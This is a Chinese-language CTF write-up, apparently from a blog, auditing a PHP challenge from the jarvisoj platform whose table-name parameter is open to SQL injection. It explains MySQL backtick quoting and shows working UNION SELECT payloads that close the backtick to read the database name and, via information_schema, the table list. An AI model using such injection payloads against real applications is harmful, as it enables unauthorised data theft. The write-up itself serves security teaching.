• PHP代码审计分段讲解(13)


    代码审计分段讲解之29题,代码如下:

    <?php
    
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    
    ?>

    题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/

    我们直接开始进行代码审计

    包含config.php文件

    require("config.php");

    使用GET方式传入table,赋值给table,默认为test

    接着对table进行过滤

    $table = Filter($table);

    这里的Filter函数是我们不知道的,不过不影响代码审计

    接着是

    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

    该行代码的意思为:

    当mysqli_query()函数执行成功,则不调用Hacker()函数

    当mysqli_query()函数执行失败,则调用Hacker()函数

    对于mysqli_query函数的解释:

    mysqli_query() 函数执行某个针对数据库的查询。//定义
    mysqli_query(connection,query,resultmode);//语法

    也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:

    1.png

    2.png

    又有:

    4.png

    从上图中可以看出来有:

    desc xxx xxx;

    desc `xxx` `xxx`

    desc 'xxx' 'xxx'

    desc "xxx" "xxx"

    语句一和语句二是同样的效果,能够正常执行

    语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。

    关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849

    反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

    例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

    select `from` from test

    接下来的代码是一段SQL语句查询,并且输出第一个结果:

    $ret = sql_query($sql);
    echo $ret[0];

    我们闭合反引号进行注入:

    默认为:

    desc `secret_test`
    select 'flag{xxx}' from secret_test

    查询数据库为:

    desc `secret_test` `union select database() limit 1,1
    select 'flag{xxx}' from secret_test` `union select database() limit 1,1

    得知数据库为:

    61d300

    获取表

    desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
    
    select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

    得知表为

    secret_flag,secret_test

    后面的注入不再赘述。

    提一下这个部分:

    select 'flag{xxx}' from secret_test` `union select database() limit 1,1

    这里的

    secret_test` `union

    关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。

    再提一下这个部分:

    limit 1,1

    因为可以看到代码最后是:

    echo $ret[0];

    因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。

     

    参考链接:

  • 相关阅读:
    git的使用
    本体建模
    word2vec改进之Negative Sampling
    word2vec改进之Hierarchical Softmax
    word2vec原理
    Window下mysql的安装
    PageRank算法
    集成学习-------简单介绍
    自我介绍
    Apollo学习笔记(二):循迹实现过程
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13386348.html
Copyright © 2020-2023  润新知